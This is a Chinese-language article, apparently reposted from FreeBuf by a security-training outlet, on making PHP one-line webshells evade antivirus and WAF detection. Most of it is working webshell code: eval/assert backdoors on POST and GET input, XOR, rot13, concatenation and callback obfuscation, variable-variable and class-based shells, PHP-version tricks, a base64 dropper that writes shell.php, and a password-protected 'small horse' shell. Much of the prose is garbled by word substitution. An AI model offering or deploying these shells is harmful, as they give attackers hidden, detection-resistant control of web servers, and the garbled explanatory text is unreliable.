原副标题:路子概括之PHP的webshell位元流
宗乡卡教育
培养信息安全专业人才
控制技术交流、学习进行咨询
01
一般的一句话地牢(适用于于CTF和驿站)
1<?phpeval($_POST[ a]); ?>
2//表达式的相近代替
3<?phpassert($_POST[ a]); ?>
<?php @eval($_POST[110]);?>与第二个一句话地牢较之多了两个”@”字符串,他们辨认出那个字符串的涵义是在php句法中则表示减缓原始数据即便有严重错误也不回到;归属于不太关键的”模块”,所以它的载入边线也相较灵巧;能是eval表达式后面,也能是post表达式后面…..
接著他们看第三个标识符,他们辨认出它把eval表达式代替为的是assert表达式;此时他们透过查阅PHP指南(东凯努瓦县)辨认出如下表所示差别:
1eval:表达式把字符串串当做标识符来计算,但是字符串串必须是正确的PHP标识符,且要以分号结尾
2assert:透过表达式判断表达式是否成立,如果成立是会执行该表达式,否则报错
能考虑使用assert表达式代替eval表达式,因为eval表达式实在太敏感了!!!此时又有师傅会问:那还有什么敏感表达式呢?那就太多了(eg:system,post,get…..),因此他们能更据位元流的精髓得出,混淆和加密这两种百试不爽的两个方法。
小提示:php一句话地牢也能执行其他命令!(<pre> <body><? @system($_GET[“calc”]); ?></body> </pre>)所以,不一定要用POST表达式,GET表达式也是能的!(注意:get表达式只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)
02
php的位元流(字符串串位元流路子)
字符串串异或加密
字符串串base家族加密
字符串串rot13加密
字符串串拼接
php位元流之异或位元流
大多数情况下,开发者为的是方便自身的需求,会使用”黑名单”的方式扳掉许多敏感表达式,来达到两个表面看上去新相较安全的两个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全能透过加密的方法能解决大部分的问题(eg:异或加密,base家族加密,URL加密…..)。所以他们常常会说:白名单>WAF>黑名单!
“^”为异或运算符,在PHP中,两个变量进行异或时,会将字符串串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串串(参考链接)
1<?php
2$_=( %01^`).( %13^ `).( %13^ `).( %05^ `).( %12^ `).( %14^ `);
3$__= _.( %0D^ ]).( %2F^ `).( %0E^ ]).( %09^ ]);
4$___=$$__;
5$_($___[_]);
6
1<?php
2$__=( >> <)+( >> <);
3$_=$__/$__;
4$____= ;
5$___= “瞰”;$____.=~($___{$_});$___= “和”;$____.=~($___{$__});$___=“和”;$____.=~ ($___{$__});$___= “的”;$____.=~($___{$_});$___= “半”;$____.=~($___{$_});$___=“始”;$____.=~($___{$__});
6$_____= _;$___= “俯”;$_____.=~($___{$__});$___= “瞰”;$_____.=~($___{$__});$___= “次”;$_____.=~($___{$_});$___= “站”;$_____.=~($___{$_});
7$_=$$_____;
8$____($_[$__]);
9
小提示:能透过下列的PHP异或脚本解决生成表达式的问题
1<?php
2$test = ~!@#$%^&*_+\|/?.,-={}[];
3for($i= 0;$i<strlen($test);$i++){
4for($j= 0;$j<strlen($test);$j++){
5if(ord($test[$i]^$test[$j])> 64&& ord($test[$i]^$test[$j])< 91){
6echo$test[$i]. ^.$test[$j].结果为:;
7echo$test[$i]^$test[$j];
8echo<br>;
9} elseif(ord($test[$i]^$test[$j])> 97&& ord($test[$i]^$test[$j])<122){
10echo$test[$i]. ^.$test[$j]. 结果为:;
11echo$test[$i]^$test[$j];
12echo<br>;
13}
14}
15}
16?>
php位元流之base家族加密
1<?php
2$a = d2hvYW1p;
3echobase64_decode($a). ;
4?>
这种方法没有什么特别的用处,但是能尝试base16或base32与其他方法搭配使用,效果是不错的!
php位元流之rot13加密
1<?php
2$a=str_rot13( riny);
3$a($_POST[ 110]);
4?>
rot13对eavl表达式进行加密,即”riny”(能透过这种方式绕过表达式的正则匹配)!
虽然威胁级别很高,但是他们能作用于其他位元流的处理上,使得位元流率得到一定程度的下降!(但是下面那个却被杀的死死的,我不理解,会不会是格式原因呢?)
1<?php
2classA{
3functionxxx($a){
4$b=str_rot13( !r!i!n!y!!);
5$str=explode( !,$b)[ 5];
6$str($a);}
7}
8$c= newA;
9$c->xxx($_REQUEST[110]);
10?>
php位元流之拼接位元流
1<?php$k= “e”. “v”. “a”. “l”; $k(${ “_PO”. “ST”} [ 110]); ?>
他们能将敏感表达式拆分,然后做两个简单的敏感表达式免杀!其次也能使用下面的arry数组结构表达式进行位元流。
1<?php
2$a = substr_replace( “xxser”, “asser”, -3);
3$b = array( ,$a);
4$c = $b[1].chr( 116);
5$fun=preg_replace( “/xx/”, “”,$c);
6$d = substr_replace( “”,$fun, 0);
7$d ($_POST[ 110]);
8?>
也就是说,他们只要把PSOT表达式在用rot13加个密就能了;或者考虑变量代替(但是根据D盾的检测来看,效果不一定会比加密好)!
php位元流之混淆位元流
1<?php
2functiona
3{
4return“/*110110110110*/”.$_POST[ 110]. “/*110110110110**/”;
5}
6@ eval(a);
7?>
单纯的字符串串变化直接被杀的死死的,因此他们还需要配合其他无用字符串去混淆视听,进而增强位元流效果!
1<?php$a = str_replace(x, “”, “xexaxvxlx”); $a(@$_POST[ “110”]); ?>
这里多少一句啊,为的是避免被检测到,能参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。
03
php的位元流(表达式特性位元流路子)
1表达式代替
2
3自定义表达式绕过
4
5变形回调
6
7数组
8
9可变变量
php位元流之表达式代替
array_map:表达式基本上是将数组的每个元素发送到用户自定义的表达式中进行修改或处理,然后回到两个具有该表达式修改后新值的数组。
array_filter:透过表达式过滤掉数组中的元素
array_reduce:发送数组中的值到用户自定义表达式,并回到两个字符串串
array_diff_uassoc:比较两个数组的键名和键值(使用用户自定义表达式比较键名),并回到差集
array_udiff:比较两个数组的键值(使用用户自定义表达式比较键值),并回到差集
array_udiff_uassoc:透过使用自定义表达式比较键和值,计算数组的差集
array_intersect_assoc:比较两个数组的键名和键值,并回到交集
array_uintersect:比较两个数组的键值(使用用户自定义表达式比较键值),并回到交集
array_uintersect_uassoc:比较两个数组的键名和键值(使用用户自定义表达式进行比较),并回到交集
xml_set_character_data_handler:该表达式规定当解析器在 XML 文件中找到字符串数据时所调用的表达式。如果处理器被成功的建立,该表达式将回到 true;否则回到 false。
xml_set_default_handler:表达式为 XML 解析器建立默认的数据处理器。该表达式规定在只要解析器在 XML 文件中找到数据时都会调用的表达式。如果成功,该表达式则回到 TRUE。如果失败,则回到 FALSE。
xml_set_external_entity_ref_handler:表达式规定当解析器在 XML 文档中找到外部实体时被调用的表达式。如果成功,该表达式则回到 TRUE。如果失败,则回到 FALSE
xml_set_notation_decl_handler:表达式规定当解析器在 XML 文档中找到符号声明时被调用的表达式。
如果成功,该表达式则回到 TRUE。如果失败,则回到 FALSE。
xml_set_unparsed_entity_decl_handler:表达式规定在遇到无法解析的实体名称(NDATA)声明时被调用的表达式。如果处理器被成功的建立,该表达式将回到 true;否则回到 false。
尽量去PHP句法指南,找一些及其偏门的表达式……..
php位元流之自定义表达式绕过(可搭配大小写)
1<?php
2functionaaa($a){
3return$a;
4}
5functionbbb($b){
6returneval($b);
7}
8functionpost{
9return@$_POST[ 110];
10}
11functionrun{
12returnaaa(bbb)(aaa(post));
13}
14aaa(bbb)(aaa(post));
15?>
他们能透过他们自定义的表达式方式,搭配php的版本和可代替表达式绕过WAF的拦截,达到位元流的目的!由于在PHP表达式中表达式名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还能使得大小写进行绕过,所以大大提升了位元流效果!
php位元流之回调表达式加组合绕过
1array_walk
2array_map
3filter_var
4filter_var_array
5uasort
6uksort
以上是常见的可待替代表达式,但是大部分都被杀的死死的,所以需要混淆才能使用!
php位元流之数组绕过
1<?php
2$a = substr_replace(“evxx”, “al”, 2);
3$b = array($arrayName = ($arrayName =($arrayName = array( a=> $b($_POST[ 110])))));
4?>
php位元流之可变变量
PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指两个一般变量的值能作为另两个变量的名称被使用。这句话听起来有些抽象。他们能透过实例来展示可变变量的定义以及实用。
1<?php
2$zeo= miansha;
3$$zeo=$_POST[ 110];
4eval($miansha);
5?>
那个时候他们就能使用一些多次加密的手段,把eval表达式进行两个多次加密,已达到完全位元流的结果!
php的位元流使用类绕过位元流
类现在是大多数人的常用选择之一,因为类那个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法表达式,他们简单构造两个类的位元流马如下表所示:
1<?php
2classzeo2
3{
4public$b = ;
5functionpost{
6return$_POST[ x];
7}
8}
9classzeoextendszeo2
10{
11public$code= null;
12function__construct{
13$code= parent::post;
14assert($code);
15}
16}
17$blll = newzeo;
18$bzzz = newzeo2;
19?>
04
php的位元流(基于PHP版本差异进行位元流)
法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。
1、利用特殊符号来引起报错
1<?php\ echowhoami; ?>
PHP版本:只限于5.2版本
它的要求是能干扰到杀软的正则判断,还要标识符能执行。那个能自己慢慢测试。具体就是利用各种回车、换行、null和空白字符串,这里他们尝试改造为可连接的一句话地牢,配合上面的可变变量
1<?php
2$xxxxxxxxxxxxxx=miansha;
3$$xxxxxxxxxxxxxx=$_POST[ 110];
4eval(“.$miansha);
5?>
2、十六进制字符串串
PHP版本:只限于5.3和5.5版本;在php7中不认为是数字,php5则依旧为数字。(友情提示: 5.X能成功执行命令,php7无法执行)
1<?php$s=substr( “aabbccsystem”, “0x6”); $s(whoami) ?>
小提示:对于他们能结合垃圾数据,变形混淆,以及大量特殊字符串和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。
3、利用在句法不换行来执行命令
PHP版本:只限于7.3.4版本,如果是其他的版本就会报错,所以针对性较强!
1<?php
2$a = $_GET[ function] ?? whoami;
3$b = $_GET[cmd] ?? whoami;
4$a( null.( null.$b));
5?>
小提示:7.0版本的??特性,如果版本为5.x的话就会报错,能结合一些其他的方式吧!
05
PHP一句话位元流实例
我这边就送个大家一些位元流把!
1<?php
2$file= “shell.php”;
3$shell= “PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=”;
4file_put_contents($file,base64_decode($shell));
5?>
6//连接密码110
另外在附上小马两个,希望大家一起集思广益!
1<?php
2ini_set( “display_errors”, 1);
3$objPQ =newSplPriorityQueue;
4$objPQ->insert( m, 1);
5$objPQ->insert( s, 6);
6$objPQ->insert( e, 3);
7$objPQ->insert(s, 4);
8$objPQ->insert( y, 5);
9$objPQ->insert( t,$_GET[a]);
10$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
11//Go to TOP
12$objPQ->top;
13$m= ;
14$cur = newErrorException($_GET[b]);
15while($objPQ->valid){
16$m.=$objPQ->current;
17$objPQ->next;
18}
19echo$m($cur->getMessage);
20?>
21//密钥3
06
一句话位元流小结
这篇文章的目的是想让大家对一句话地牢位元流有一定的了解,在位元流对抗越来越激烈的情况下,他们不得不发散自己的思维。这次就由我来抛砖引玉,大家有什么想法,能评论区交流!
其他参考:
PHP大小写辨析:链接https://www.qycn.com/xzx/article/2211.html
END
本文作者:面包and牛奶, 转载请注明来自FreeBuf.COM
版权声明:著作权归作者所有。如有侵权请联系删除
开源聚合宗乡卡训练营
环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
信息安全行业
神秘大礼包
基础教程
他们贴心备至
用户答疑
QQ在线客服
加入社群
QQ+微信等着你
我就知道你“在看”看更多






